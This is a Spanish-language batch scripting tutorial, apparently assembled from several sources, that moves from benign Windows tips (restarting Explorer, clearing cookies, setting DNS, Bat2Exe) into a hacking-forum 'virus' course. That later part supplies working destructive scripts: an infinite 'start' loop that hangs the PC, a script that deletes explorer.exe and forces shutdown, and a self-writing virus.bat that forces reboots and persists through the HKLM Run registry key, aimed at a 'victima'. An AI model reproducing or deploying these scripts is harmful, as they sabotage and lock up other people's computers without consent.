Programacion Batch
Programacion Batch
Programacion Batch
¿Cómo usar los códigos y los comandos que aparecen en esta página?
Los códigos y los comandos que se muestran en esta página se pueden utilizar de varias
formas:
➔ Introducirlos directamente ya sea en la consola de CMD, el cuadro de Inicio o en la
herramienta Ejecutar y presionar la tecla Enter.
➔ Escribirlos en un archivo de texto plano y guardarlo con la extensión de archivo
adecuada (.cmd, .bat, .vbs), lo que hará que se conviertan en aplicaciones ejecutables,
que al dar dos clics en ellas, Windows iniciará la tarea indicada
Crear un archivo batch ejecutable con el código en lenguaje MSDOS es sencillo, sigue
el siguiente método paso a paso:
@echo off
COLOR 0E
mode con cols=50 lines=20
Reiniciar el explorador
Archivo batch para reiniciar el explorador de Windows en caso de un bloqueo.
@echo off
TASKKILL /F /IM explorer.exe
timeout /nobreak 04
start explorer.exe
Eliminar cookies
Para borrar las cookies almacenadas, útil para impedir que te identifiquen en un sitio
web.
En Windows XP usa:
@echo off
del "C:\Documents and Settings\%username%\cookies\"*.* /S /Q /F
for /D %%a in ("C:\Documents and Settings\%username%\cookies\"*.*) do
rmdir "%%a" /S /Q
pause
En Windows 7 o Vista
@echo off
cd %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Cookies
DEL *.* /S /F /Q /A R H S A
Pause
Para Vista-7
@ echo off
NETSH INTERFACE IPV4 RESET
En Windows XP
@echo off
netsh interface ip set dns "NombredeConexion" static 8.8.8.8
Asignar dos servidores DNS (primario y secundario) a una conexión llamada Red1
Netsh interface ipv4 add dns "Red1" 10.0.0.1
Netsh interface ipv4 add dns "Red1" 10.0.0.3 index=2
En los comandos no se pueden utilizar los acentos, la letra Ñ u otros caracteres
especiales de nuestro lenguaje, por lo que si usas el tradicional: "Conexión de área
local", recibirás un error.
Una solución es cambiar previamente el nombre a la conexión por otro sin los acentos.
La otra solución es sustituir los caracteres en el archivo batch por los necesarios,
conócelos en la siguiente página: Insertar caracteres especiales en archivos batch
Comandos para usar en redes
Windows proporciona diversos comandos que se pueden usar directamente para realizar
varias tareas, un grupo de ellos nos facilitan las tareas en redes.
Entre estos comandos están NET, NETSH, IPCONFIG y muchos otros, sobre los cuales
hay bastante información en otras páginas de este sitio.
Para usarlos solo es necesario escribirlos o pegarlos directamente en el cuadro de Inicio
o en el comando Ejecutar y presionar la tecla Enter.
Lógicamente, también se pueden emplear en archivos batch o scripts.
Los archivos batch son las únicas aplicaciones que pueden ser
creadas en Windows por cualquier usuario, aun sin tener conocimiento alguno de informática
o de programación.
Como puedes conocer en otras páginas de este sitio, solo es necesario el Bloc de notas de
Windows y algún comando o instrucción para la consola de CMD, que lo ejecutará.
Mediante los archivos batch podemos crear aplicaciones con las cuales hacer infinidad de
tareas, ejecutar programas, extraer información, abrir páginas web, es decir casi cualquier
acción en Windows.
La gran desventaja de los archivos batch, es precisamente que a causa de esta misma sencillez
y simplicidad de sus estructura, cualquiera lo puede modificar, solo es necesario arrastrarlo al
Bloc de notas u otro editor de texto.
Esto se vuelve un inconveniente si nos gusta compartir en la red con amigos, los archivos batch
que logramos crear y nos sentimos orgullosos de su funcionamiento, por esa razón cualquiera
de ellos los puede modificar fácilmente, incluso copiar y robar el código empleado y atribuirse
la autoría, ademas agregar código que cambie completamente su funcionamiento.
Una forma de evitar que nuestros archivos batch puedan ser modificados, es convertirlos en
archivos EXE, es decir en aplicaciones que al ejecutarlas realicen la misma función y no puedan
ser editadas.
Las ventajas son varias:
1- No se podrán modificar con el editor de texto de la misma forma que los batch al dar clic
derecho, lo que impedirá que se deterioren de forma accidental.
2- En caso de que para la ejecución del batch, se utilicen archivos auxiliares como imágenes,
iconos, archivos de texto etc. se podrán agruparlos y encapsularlos todos en un unico archivo
exe (ejecutable) creado.
3- Será imposible ver el código utilizado en su creación.
4- Te burlarás de los que siente aversión (injustificada) contra los archivos BAT. Otras ventajas
como comprobarás mas adelante.
Bat To Exe
Bat To Exe es una sencilla aplicación freeware (gratis) creada precisamente para ese fin,
permite crear un exe desde un archivo con la extensión BAT o CMD.
Aunque está en inglés, posee una interface que hace que crear un ejecutable sea algo sencillo.
Úsalo de la siguiente forma:
• Ejecuta Bat2Exe y usa el botón Browse (Escoger) que se encuentra en la parte superior
derecha, para indicar la ruta al archivo batch.
• De forma predeterminada en el mismo directorio se guardará la aplicación exe creada, si
deseas darle otro nombre u otra ubicación, especifícalo en el cuadro Save as (Guardar como).
Todas las opciones en la pantalla principal son opcionales:
El programa Bat To Exe también puede ser utilizado para convertir una página web, con todos
los elementos necesarios, en un archivo ejecutable.
Es una opción muy útil, ideal para enviar o compartir páginas web completas, evitando los
conflictos que surgen al comprimir una página para enviar por el email ya que en ocasiones el
que la recibe no tiene el software necesario para descomprimirla o no sabe cómo hacerlo.
Para lograrlo el único requisito es crear un archivo batch en el mismo directorio, que inicie la
página web necesaria.
Hazlo de la siguiente forma:
• Copia el siguiente código al bloc de Notas de Windows y guarda el archivo creado con el
nombre: "pagina.cmd"
@echo off
start pagina.html
Si necesitas que la página web se abra con un navegador especifico, entonces en el archivo
batch indícalo con una de las siguientes opciones:
Al iniciar Bat2Exe para crear la aplicación, es necesario en la pestaña Include agregar con el
botón Add, todos los elementos de la página como imágenes, archivos CSS si existe alguno,
scripts y otros, incluyendo la propia página.
Al compilar será creado un archivo exe, con todos los elementos comprimidos en su interior.
Al ejecutarse dicha aplicación, previamente serán descomprimidos todos al directorio actual o
a la carpeta TEMP en Windows, si así se especificó.
De una forma similar a la anterior, puede convertirse un script creado en el lenguaje VBScript,
en un archivo ejecutable.
Solo es necesario en este caso crear un archivo batch que inicie el script.
Crea el archivo batch de la siguiente forma:
• Copia el siguiente código al bloc de Notas de Windows y guarda el archivo creado con el
nombre: script.cmd
@echo off
start script.vbs
Descargar Bat2Exe
Con cualquiera de los populares programas de compresión de archivos WinRAR y 7z, puede
convertirse un archivo batch u otro script en ejecutable, se hace comprimiendo el o los
archivos necesarios en un único archivo, usando la opción de SFX (auto-extraíble).
El resultado es completamente funcional, la gran desventaja es que cualquiera que tenga
instalados los programas anteriores en su sistema, puede descomprimir el archivo EXE creado
y extraer los archivos de su interior, solo dando un clic derecho y usando la opción de "Extraer
aquí", pero no obstante si eso no constituye una desventaja para ti puedes utilizar el método.
Para conocer más sobre cómo utilizar esta función, con todos los pasos necesarios, lee la
siguiente página en la que se explica en detalle:
Como crear una aplicación o programa portable en Windows
AutoIt es otra opción disponible para convertir archivos batch y otros scripts en ejecutables,
accede a su página de descargas y escoge la opción que prefieras ya sea un instalador o un
ejecutable comprimido, incluye un editor para los scripts.
http://www.autoitscript.com/site/autoit/downloads/
Los iconos son archivos de imagen con la extensión ICO, son muy usados en Windows como
referencia de las aplicaciones, programas, juegos, páginas web etc.
Se usan de tamaños diferentes, 16, 32, 64 o 124 pixeles.
Después de la salida de Windows Vista, es posible utilizar vistosos iconos de 256 pixeles de
tamaño en el Escritorio.
El programa más popular para crear y editar los iconos es Microangelo Studio, pero es
software propietario, o sea de pago.
Los pequeños iconos usados en las páginas web, que se muestran a la izquierda de la dirección
URL, son llamados favicon, son simples iconos de 16px de tamaño.
------------------------------------------------------------------------------------------------------------------------------
Algunos trucos, consejos, ejemplos para crear, editar y personalizar los archivos batch.
Solucionar problemas y conflictos de su uso. Continuación del tutorial de comandos y archivos
batch, curiosidades, bromas, anexos.
Después de haber leído en una página anterior, el tutorial que introduce al mundo de la
creación de los archivos batch, en este artículo podrás encontrar más información relacionada,
que te será útil y te ayudará en la edición y creación de estas aplicaciones.
Encontrarás varios trucos para agregarle funcionalidad y personalizarlos a tu manera.
También podrás crear algunos archivos copiando y pegando algunos códigos de ejemplos
prácticos.
Espero que te resulte interesante esta página.
Trucos útiles al crear nuestros archivos batch
Un poco para impresionar a los ingenuos o personas con pocos conocimientos, o simplemente
hacer que se inicien tus aplicaciones de manera afable al hacer tus archivos batch puedes
incluir el nombre del usuario en la introducción, saludo o inicio del archivo batch de la
siguiente forma:
@echo off
echo Bienvenido %username%, deseas continuar?
pause>nul
En la página anterior se mostraba la forma básica de mostrar mensajes en los archivos batch:
msg * aquí va el texto del mensaje
pero el resultado es un poco seco.
Los scripts hechos en lenguaje VBScript ofrecen mensajes más expresivos, asi que es posible
encadenar dos archivos de la siguiente forma.
Crear un archivo batch que escriba un script de forma temporal y a continuacion ejecutarlo,
parece difícil pero es algo sencillo. Pruébalo con el siguiente código:
@echo off
echo MsgBox "Escribir un script y despues llamarlo.", 64, "NorfiPC"
>%temp%\mensaje.vbs
start %temp%\mensaje.vbs
Como ves tiene un estilo algo diferente con un icono, titulo y hasta con sonido. Solo tienes que
insertar el texto que quieres se muestre en el mensaje y en el título que tendrá la ventana en
la parte superior.
Los scripts creados de esta forma se almacenarán en la carpeta Temp donde no causarán
molestias y serán eliminados al ejecutar cleanmgr.exe.
De la misma forma anterior puedes generar mensajes con iconos y sonidos diferentes
utilizando las siguientes líneas:
MsgBox "mensaje con icono de Error",0, "Error"
MsgBox "mensaje con icono de Error",16, "Error"
MsgBox "mensaje con icono de interrogacion",32, "Interrogacion"
MsgBox "mensaje con icono de advertencia",48, "Advertencia"
MsgBox "mensaje con icono de informacion",64, "Información"
MsgBox "mensaje con icono de Aplicacion",4096, "Aplicacion"
En Windows de forma predeterminada, los archivos batch de extensión .CMD, al igual que los
bat de extensión .BAT, muestran el mismo icono de las dos ruedas.
Es posible utilizar otro icono, para eso es necesario modificar la clave del registro donde se
especifica el valor.
La clave del registro que contiene la información sobre los archivos batch es la siguiente:
HKEY_CLASSES_ROOT\cmdfile\DefaultIcon
%SystemRoot%\System32\imageres.dll,-68
Puedes emplear algunos de los iconos que se utilizan para los ejecutables exe solo dando dos
clics en el valor predeterminado y pegando una de las siguientes rutas:
%SystemRoot%\System32\imageres.dll,-15
%SystemRoot%\System32\imageres.dll,-87
De la misma forma puedes emplear cualquier otro icono solo insertando la ruta necesaria, en
la librería imageres.dll se almacenan multitud de iconos en los que escoger.
Si no sabes cómo verlos y extraerlos lee la siguiente página: Información sobre el contenido de
las librerías dll en Windows 7
Es posible modificar la clave indicada usando la línea de comandos, para eso utiliza el siguiente
código en un archivo batch o introduciéndolo directamente en la consola, Inicio o Ejecutar.
REG ADD HKEY_CLASSES_ROOT\cmdfile\DefaultIcon /ve /t REG_EXPAND_SZ /d
C:\Windows\System32\imageres.dll,-15 /f
Usar la línea de comandos para realizar modificaciones al Registro de Windows es peligroso,
cualquier equivocación en un carácter puede ser desastroso, por lo que te aconsejo realizarlas
con cautela y solo si posees conocimientos básicos en la edición del Registro.
Windows utiliza las extensiones de archivos para conocer qué tipo de información contienen y
por lo tanto con que programas es necesario ejecutarlos, en ocasiones esta asociación se
deteriora por diversas causas y entonces los archivos se muestran con un icono de archivo
desconocido y al dar dos clics en ellos se abre el cuadro de dialogo donde escoger el programa
necesario parar abrirlos.
Para restaurar la asociación de los archivos batch de extensión de archivo cmd, abre una
ventana de comandos y pega lo siguiente y oprime Enter:
assoc .cmd
debe devolver lo siguiente: .cmd=cmdfile
si no es asi escribe:
assoc .cmd=cmdfile
Para restaurar la asociación de los archivos bat de extensión de archivo bat, abre una ventana
de comandos, pega lo siguiente y oprime Enter:
assoc .bat
debe devolver lo siguiente: .bat=batfile
si no es asi escribe:
assoc .bat=batfile
En los archivos batch para representar letras que llevan acentos, la ñ y otros caracteres
especiales propios del idioma español y que se muestren correctamente en la consola de cmd
al ejecutarse el batch, se requiere usar el método de los códigos alt. Lee como hacerlo en la
siguiente página: Como usar los caracteres especiales mediante el teclado en Windows.
Código de ejemplo que muestra cómo obtener información del usuario y mostrarla usando un
archivo batch.
Para usarlo, al igual que los siguientes códigos, cópialo, pégalo en un archivo de texto y
guárdalo con cualquier nombre, pero que tenga la extensión de archivo CMD.
@echo off
color 07
echo Esto es un ejemplo de archivo por lotes
pause
cls
echo La Fecha y Hora
pause>nul
cls
date /t
time /t
pause>nul
cls
echo Cambiemos el color
pause>nul
color 1E
cls
echo Quien eres tu
pause>nul
cls
echo %username%
pause>nul
echo Tus tareas en ejecucion
pause>nul
tasklist
pause>nul
cls
echo Informacion de tu sistema
systeminfo
pause>nul
CLS
echo En que directorio estas
pause>nul
cls
echo %CD%
pause>nul
echo Parece que tienes un virus
pause>nul
@echo off
echo
echo.
echo
echo
echo.
echo
echo.
pause>nul
echo Es solo una broma
pause>nul
exit
@echo off
title Nombre y apellidos
set/p nombre=Escribe tu nombre y oprime Enter.
set/p apellido=Escribe tu primer apellido?
set/p apellido2=Escribe tu segundo apellido?
echo.
echo Tu nombre completo es %nombre% %apellido% %apellido2%
pause >nul
exit
Archivo batch para calcular promedio
____________________________________________________________________________
Capitulo Uno
MI PRIMER PROGRAMA .BAT
En este primer capitulo crearemos nuestro primer programa, usando los comandos mas
basicos de la programcion en batch.
Código:
@echo off
Código:
@echo off
title mi primer programa txshack
De esta forma nuestro programa tendra el nombre de, "mi primer programa txshack"
Ahora les mostrare una serie de comandos basicos que deven de aprender, les aconsejo que lo
apunten en un papel para tenerlos siempre presentes.
echo. sirve para dejar un espacio de linea en el programa. Es lo equivalente a pulsar intro en el
word
echo este sirve para mostrar un mensaje en el programa
rem este sirve para mostrar un mensaje pero que no se vera en el programa, es decir tan solo
se vera en el modo ediciom osea donde estamos ahora, en el bloc de notas..(suel escrivirse
para acer tus aclaraciones, y que no te parezca lioso, por ejemplo decir, asta aqui la
introduccion, asta aqui las preguntas, apartir de aqui ire acabando las operaciones...etc)
pause sirve para acer una pausa en el programa, es decir, una vez llegados ahi, nos dira el
programa... pulse una tecla para continuar... en cambio si escrivimos pause > nul no nos lo
preguntara, es decir, daremos una tecla y continuara.
Bien una vez dicho esto, podremos crear nuestro primer programa.
Abran el bloc de notas si aun no lo han echo y escriban..
Código:
@echo off
title mi primer programa txshack
echo.
echo comentario
echo.
pause
echo.
echo este es mi primer programa jejeje siiiiii
pause > nul
rem y aca ya se acaba, esto no lo leere pero me sirve de aclaracion
exit
Aora veran que se a creado un programa que tiene el icono como de una ventana blanca con
una rueda dentada dentro, pues ese es nuestro programa!! ejecutenlo y vean!!
En el proximo capitulo les ense?are como hacer que el programa te aga preguntas y tu
responderlas...etc
No se impacienten!! jeje
Espero que les ayude.
Espero que les quedase claro lo que dimos en el capitulo numero. Fue una cosa sencilla no?
Ahora pasaremos a las variables.
Una variable, es una especie de memoria a la que podemos asignarle un dato, para acerlo
referencia mas adelante. Para entenderlo, lo mejor es que agamos un ejemplo.
Código:
@echo off
title ejemplos
set var=capullo
echo eres un %var%
pause
Como veran comenzamos con @echo off y seguimos poniendo un titulo, en este caso lo he
llamado ejemplos. (asta aki ya lo sabian no)
a continuacion al poner set var=capullo ace que la palabra capullo se muestre cuando
ponemos var entre %% de esta forma, cuando ponemos eres un %var% el programa nos
muestra, eres un capullo jejeje, esto es un ejemplo, vean.
han visto no asi pueden acer todo lo que se les ocurra...lo q deven recordar es que tiene q
empezar por set unapalabra= loquequieras y para acer luego referencia a loquequieras,
menten entre %% la palabra seguida de set, de esta forma %unapalabra%
por s un lio, ponemos cls y cuando llege ahy borrara lo anterior y continuara con el codigo...
Benga, les ago el ejemplo...
Código:
@echo off
title ejemplo4
set/p nombre= ?como te llamas?
echo.
pause
echo.
set/p edad= ?y cuantos a?os tienes?
echo.
pause
echo.
set/p vive= ?y donde vives?
echo.
pause
cls
echo te llamas %nombre% y tienes %edad% a?os y vives en %vive%
echo.
pause > nul
exit
han visto no si no hacen los codigos, por lo menos les aconsego que lo agan con los mios, den a
copiar y pegar para que les sirva de ejemplo. Vallan provando, es la mejor forma de acordarte
de ello y coger soltura
Ah!! una ultima cosa.. les voy a dar ya los codigos de colores para que experimenten a cambiar
el color a la ventana del programa. Es facil de usar, deven poner, color seguido de un numero y
letra (color de letras y de fondo)... prueven....
CODIGO DE COLORES:
0 = Negro
1 = Azul
2 = Verde
3 = Aguamarina
4 = Rojo
5 = Prpura
6 = Amarillo
7 = Blanco
8 = Gris
9 = Azul claro
A = Verde claro
B = Aguamarina claro
C = Rojo claro
D = Prpura claro
E = Amarillo claro
F = Blanco brillante
Os dejo un ejemplo del anterior, ejmplo3, para que vean como se meten los colores
Código:
@echo off
title ejemplo4
color 5e
set/p nombre= ?como te llamas?
echo.
pause
echo.
set/p edad= ?y cuantos a?os tienes?
echo.
pause
echo.
set/p vive= ?y donde vives?
echo.
pause
cls
color 2f
echo te llamas %nombre% y tienes %edad% a?os y vives en %vive%
echo.
pause > nul
exit
En esta ocasion, os explicare otro tipo de variables, que se utilizan para hacer operaciones
matematicas. Su base y modo de empleo es similar a las del capitulo anterior (las set/p).
Por cierto, antes de mostrar el codigo, se acuerdan del comando rem no? aparece en el 1?‚º
capitulo, y se usa para acer aclaraciones a la hora de acer el codigo, pero q luego en el
programa no se vera. Os lo digo porque lo utilizare para irles explicando.
VEAN:
Código:
@echo off
title calcula tus nota lo que acemos es dotar la palabra asig con el valor 6
set/a suma=a+b+c+d+e+f
rem aqui sumamos las medias
set/a media=%suma%/%asig%
rem como veran al dividir la suma entre las asignaturas sacamos la media
echo tu nota media es de : %media%
pause
echo estudia mas cabron
echo.
echo consejo de txshack
pause
exit
Se me olvidaba decir que no muestra decimales, es decir si tu media es de 5,25 veras 5... ‚¡que
qereis!? jeje
suma+
resta -
producto *
division /
exponente ^
El comando goto, nos permite dar un salto a un determinado lugar del bat. Por ejemplo para ir
a un menu...
Los menus se hacen escriviendo : y seguido el nombre del menu. (con el ejemplo de luego lo
vereis mas claro)
El comando if sirve para establecer una condicion, es decir, si la condicion se cumple o no, se
ara tal cosa.
Para ver mas claro esto del goto, el if, y lo de los menus, os pondre un simple ejemplo.
Código:
@echo off
title txshack if, goto y menus
:menu
cls
echo responde si o no
echo.
set /p var=quieres convertirte en hacker??
If %var%==si goto serh
If %var%==no goto noh
:serh
cls
echo pues entonces sigue los consejos de txshack
pause > nul
goto end
:noh
cls
echo.
echo pues entonces que co?o aces leyendo esto??
pause > nul
goto end
:end
cls
echo.
echo adios
pause
exit
Código:
@echo off
title ?que numero sera...?
:menu
cls
echo deves averiguar el numero para poder salir
echo.
set /p var=pon un numero:
If %var%==5 goto si
If %var% LSS 5 goto menor
If %Var% GTR 5 goto mayor
:si
cls
echo correcto!!! por culo te la inco!! jaja
pause
goto salir
:menor
cls
echo elije otro mas alto
echo.
echo sigue jugando
pause > nul
goto menu
:mayor
echo elije otro mar peke?o!!
echo.
echo sigue probando
pause > nul
goto menu
:salir
echo.
echo asta otro dia!!
pause > nul
echo.
echo un saludo, txshack
pause
exit
Ya lo abran pillado no
Tambien pueden usar el comando if not que hace lo contrario que el if. En vez de decir SI pasa
esto....haz esto, lo que hace es decir, SI NO pasa esto...haz esto. ?Entienden no? sino agan un
ejemplo veran q facil es.
Se preguntaran tambien que pasa, cuando por ejemplo en el 1?‚º ejemplo que puse, en vez de
escrivir si o no, escribimos otra cosa, entonces lo que sucedera, es que el lenguage, al ser
lineal, pasra a la siguiente linea... sin importar lo q pongamos (pruevenlo).
Pero no se preocupen todo esto tiene solucion con un comando llamado else.
Lo que qiere decir es sino haz esto, es decir, por ejemplo decimos
Código:
Lo que qiere decir esto, es que si la variable es 1, vallamos al menu1, sino, al menu 2.
La sintaxis seria esta
Código:
@echo off
title txshack di soy bobo
:menu
cls
echo que quieres? consejo o salir
echo.
set /p var=dime, consejo o salir:
If %var%==consejo (goto consejo) else goto if2
:if2
if %var%==salir (goto end) else goto menu
:consejo
cls
echo ten cuidado con lo que descargas, fiate solo de txshack, el es legal!!
pause > nul
goto end
:end
cls
echo.
echo adios!!
pause
exit
Bueno, y con todo esto acabo por hoy. Creo que son bastantes cosas por hoy no creen
Pronto seguire.
taskkill mata un porceso, puede ser tambien taskkill/f (fuerza bruta) ejemplo: taskkill
iexplore.exe
msg* hace que aparezca un mensaje en una ventana de windows, por ejemplo; msg* adios!! y
no te olvides de visitar infiernohacker
reg add a?ade lo que qeramos a la ruta del registro especificada...(ya lo veremos mas adelante)
> y >> son unos redireccionamientos, por ejemplo, si ponemos echo hola>hola.txt se nos
creara en el directorio actual, un archivo de texto con el titulo de hola, y que si lo abrimos
veremos la palabra hola.
Si por ejemplo ahora creamos otro y escrivimos echo adios>>hola.txt En el archivo que
teniamos anteriormente, se seguira llamando hola, pero al abrirlo veremos que pone hola y en
la linea siguiente adios.
Pero si por el contrario ponemos echo adios>hola.txt Al abrir el arvhivo, solo aparecera la
palabra adios.
Espero que lo hayan entendido... en brebes palabras_
> crea o remplaza un archivo
>>salta asta la linea siguiente
ejemplo:
Código:
@echo off
echo txshack>hola.txt
exit
Esto nos creara en el directorio actual, un archivo llamado hola.txt y en su interior pontra
txshack
* El * sirve para sustituir a todos los caracteres... por ejemplo si ponemos del *.jpg
borrara todos los archivos con extension .jpg
del a*.jpg borrara todos los jpg que empiezen por a sea cual sea su continuacion.
? El ? es parecido al anterior, solo que sustituye a un solo caracter, por ejemplo si ponemos del
c?sa.jpg borrara todos los archivos .jpg que comienzen por c (un caracter cualquiera) sa, por
ejemplo borraria; casa.jpg cosa.jpg cesa.jpg cssa.jpg.... entienden no?
El * y ? sirve tanto para el nombre como la extension.... No voy a liarme mucho en esto,
porque es algo facil y seguro que lo entienden. Les pondre algun ejemplo que seguro q
entienden.
c?sa.* (archivos c -un caracter- sa y de cualquier extension)
*asa*.b* ( -cualquier cosa- asa -cualquier cosa- y extension b + lo que sea)
CHDIR o CD [path>
shutdown este comando, depende de las letras que lo acompa?en, puede acer una cosa u
otra:
si esta seguido de -r se reiniciara el equipo
-s hara que se apage
-f forzara a cerrarse todos programas
-t 15 indica el tiempo...en este caso 15 segundos
-c " " lo que va entre comillas sera un mensaje...
pongamos un ejemplo_
shutdown -r -f -t 12 -c "jodete" esto ara q la pc se reinicie (-r) que se cierren todos los
programas forzosamente (-f) que lo aga en 12 segundos (-t 12) y salga un mensaje q diga
jodete
Estos comandos, junto a los q ya conocen: set/p, pause, pause > nul, cls, exit, echo, if,
goto....etc son los basicos.
Como ya les dijen puede que ahora se me escape alguno...pero cuado veamos la creacion de
virus y programas, iran apareciendo los que me ayan quedado. De momento creo que con
estos tenemos por hoy
Empezare con lo mas importante acerca de esto, y ya iremos abanzando. Posiblemente repita
algunas cosas ya explicadas brevemente, como el comando shutdown, pero creo que es
importante repetirlo (profundizando algo mas) en este tema.
1.)Introduccion
Buenas , ante todo he de decir que esto es un manual de introduccin y no un manual para
expertos. En este manual se hablara sobre los virus .bat (archivos por lotes ejecutables de ms-
dos)
¿Que es un comando?
es una orden que le damos al sistema operativo para que haga una tarea determinada.
Desabilita el echo para que no muestre los comandos , que se ejecutaran posteriormente.
explicacin: shutdown
es un comando con el que puedes jugar bastante. -s y -t son parametros, los parametros son
como las opciones
que les deves dar al comando. algunos comandos requieren parametros obligatoriamente sin
embargo otros no.
explicacin: parametro -s y -t
el parametro -s da la orden a shutdown para que apage el equipo y con -t especificamos los
segundos. en el ejemplo
de antes pusimos 1 segundo.
shutdown -r = Reinicia
shutdown -c = deja un comentario "Modo de uso">> shutdown -s -t 5 c "Comentario"
shutdown -m = apaga un equipo de la red "Modo de uso">> shutdown -s -t 4 -m
\\nombredehost
shutdown -f = fuerza el cierre de las aplicaciones.
Comandos b?sicos
a continuacin os pondr varios comandos que sirven mucho a la hora de hacer virus.
REG QUERY /?
REG ADD /?
REG DELETE /?
REG COPY /?
REG SAVE /?
REG RESTORE /?
REG LOAD /?
REG UNLOAD /?
REG COMPARE /?
REG EXPORT /?
REG IMPORT /?
Usad estos comandos para obtener ayuda sobre los parametros despus de reg.
inicio-ejecutar-cmd y escrivid algun comando para saber lo que es (asi me ahorro el explicar
cada uno xD)
Bucles
@echo off
:txshack
echo te estoy haciendo un bucle jaja
goto txshack
otro ejemplo:
@echo off
:menu
start
goto menu
Madre m?*a.. este simple cdigo , el que lo abra tendr? que reiniciar , por que el pc se le
trabar? todo.
el comando start lo que hace es abrir otra shell, as?* que imaginate este bucle infinito.
podeis juegar con esto a vuestro antojo, abriendo blocs de notas, abriendo internet..etc
(start http://infiernohacker.mundoforo.com)
Nuestro segundo virus.
@echo off
taskkill /F /IM msnmsgr.exe
del /F c:\windows\system32\explorer.exe
shutdown -s -t 10 -c "Asta luego lucas!!"
Este virus cierra el msn, elimina el proceso explorer (sabeis lo q es no) y apaga la pc en 10
segundos con el mensaje asta luego lucas xD
Variables de windows xp
echo %NOMBREDELAVARIABLE%
Bueno, puesto que muchos estais esperando este nuevo capitulo, e sacado un rato y por fin e
podido hacerlo.
Teniendo mas o menos claros lo del tema anterior en este intentare explicaros de la forma mas
clara posible como hacer que el virus se quede en run para que se ejecute al arrancar, y
algunas cosillas mas...
@echo off
shutdown -r -f -t 5
exit
Lo que ara sera reiniciar la PC a los 5 segundos, y ya esta.... no volvera a acerlo a no ser q la
victima lo vuelva a ejecutar...
Pero imaginen que este virus se inicia cuando encendemos el PC... osea, el solito... entonces ya
joderia algo mas no?
3?‚º Esto ya es opcional, podemos hacer q se ejecute, o poner algo en el bat... etc
@echo off
A continuacion, deveremos ir al directorio donde queremos que se qede nuestro virus, por
ejemplo C: o System32 o Windows... etc
@echo off
cd
@echo off
cd c:\windows\system32
Pues bien, imaginemos q lo guardamos en System32, pues aora deveremos crear un bat
completo en system32... es decir... crear uno desde el principio, apartir de este...
Código:
@echo off
cd c:\windows\system32
echo @echo off > virus.bat
echo shutdown -r -s -t 5 >> virus.bat
echo exit >> virus.bat
exit
El > sirve para crear o remplazar un archivo, y el >> para excrivir en la linea siguiente.
Una vez echo esto, ya tendremos nuestro virus.bat en la carpeta system32. Ahora solo nos
queda a?adirlo a RUN para q se inicie con windows...
Para ello a?adiremos lo siguiente:
Como veran, donde pone virus.bat, es el nombre que le emos dado, y poco mas adelante
aparece la ruta C:\windows\system32.
Si hubiesemos dado otro nombre o otra ruta, solo seria modificarlo.
Código:
@echo off
cd c:\windows\system32
echo @echo off > virus.bat
echo shutdown -r -s -t 5 >> virus.bat
echo exit >> virus.bat
reg add hkey_local_machine\software\microsoft\windows\curr entversion\run/v virus.bat/t
reg_sz /d C:\windows\system32 /f
exit
Código:
@echo off
cd c:\windows\system32
echo @echo off > virus.bat
echo shutdown -r -s -t 5 >> virus.bat
echo exit >> virus.bat
reg add hkey_local_machine\software\microsoft\windows\curr entversion\run/v virus.bat/t
reg_sz /d C:\windows\system32 /f
msg * Estas perdido amigo
msg * Ahora TxShack domina tu pc
msg * jajaja
start c:\windows\system32\virus.bat
exit
Otro dia are algun virus mas complicado (mas completo) incluyendo mataprocesos, borrado de
archivos...etc
Indice
1. ¿Que es Batch?
1.1 Codigos Basicos y Pequeña Practica Iniciativa
1.2 ¿Como guardo el Batch?
2. Variables
2.1 Variables del entorno
3. Automatizando Tareas (AT)
4. Utilizacion de comandos de red
5. Redirecciones
6. %0, %1, etc.
7. Manejo del Registro
1. ¿Que es Batch?
Lo primero es abrir el Block de Notas. Inicio > Todos los progrmas > accesorios > Block de
Notas.
Los comandos basicos de batch son los siguientes:
Ahora probamos
@echo off
title Primer Programa
echo presiona una tecla
pause
echo hola
pause > nul
exit
Aca una screen del codigo anterior luego de ser compilado y funcionando:
Title
este es el nombre que aparece en la ventana del DOS cuando ejecutas el programa.
Echo
esto crea una pausa en el programa y tienes que presionar una tecla para proseguir.
Pause > nul
esto es lo mismo que lo anterior pero unicamente que no muestra el cartel en la pantalla que
dice "presione un tecla para proseguir"
2. Variables
DEFINICION
conosco todos ). Son datos que pueden ir cambiando a medida que el programa corre.
Las variables pueden adquirir diferentes valores alfanumericos (letras y numeros), tambien se
nos permite sumar variables o imprimirlas en pantalla. O incluso realizar operaciones
matematicas.
Cuando llamas una variable en batch siempre se encierran entre "%" por ejemplo tenemos la
variable zero, cuando la llamamos seria %zero%
A LA PRACTICA
@echo off
title variables
echo bienvenido al ejercicio para aprender variables
echo .
echo presiona una tecla para continuar
pause > nul
set /p nombre=como te llamas?
set /p edad=cuantos anios tenes?
set /p comida= que comes?
pause > nul
echo hola %nombre%
echo veo que tienes %edad% anios verdad?
echo como rayos te puede gustar %comida%?
pause > nul
exit
con esto estamos haciendo que el archivo le pregunte al usario el valor de la variable nombre.
Set es el comando para llamr variables.
/p significa que el usuario le pondra el valora la variable por medio de una pregunta.
"nombre" ahi esta el nombre dela variable.
"=como te llamas?" es la pregunta que se le hara al usuario.
tambien se puede otorgar un valor a la variable sin preguntarle al usuario. por ejemplo
set var=pesos
echo hola %nombre% veo que tienes %edad% años verdad? como rayos te puede gustar
%comida%? XD
exit
Aqui imprime en pantalla un texto usando las variables, como mencione al principio las
variables se llaman entre "%". Entonses el batch imprimira en pantalla el valor de las variables
nombre, edad y comida adicionadas con el texto expuesto
hola holy veo que tienes 14 años verdad? como rayos te puede gustar nada? XD
2.1 Variables del entorno
hay ciertas variables que nos ayudaran a la hora de hacer programas o virus para asegurar (o
subir mucho la probabilidad) que funcionen las ordenes del batch que hagamos. Por ejemplo:
nosotros progrmamamos un batch que busca si tenes los archivos "cmd.exe" y "notepad.exe"
logicamente le podremos que busque en la ruta c:/windows/system32/
pero que pasa si la victima no tiene instalado win en c: y lo tiene instaldo en la particion e claro
el batch dira que no estan pero en realidad si estan pero en otra unidad entonses para evitar
este tipo de errores usaremos las variables del entorno que son las siguientes:
para este caso nos serviria la variable de "%homedrive%". Pongamos el ejemplo con un simple
batch que ejecuta el notepad
@echo off
title pruba
echo ahora se ejecutara el notepad
%homedrive%/windows/system32/notepad.exe
exit
eso reemplaza la unidad, en conclusion son comodines que nos ayudan a la hora de programar
batch.
@echo off
at 4:00 shutdown -s -f -t 01
pause > nul
exit
@echo off
at /next:4 4:00 shutdown -s -f -t 01
pause > nul
exit
@echo off
at /every:4/2 4:00 shutdown -s -f -t 01
pause > nul
exit
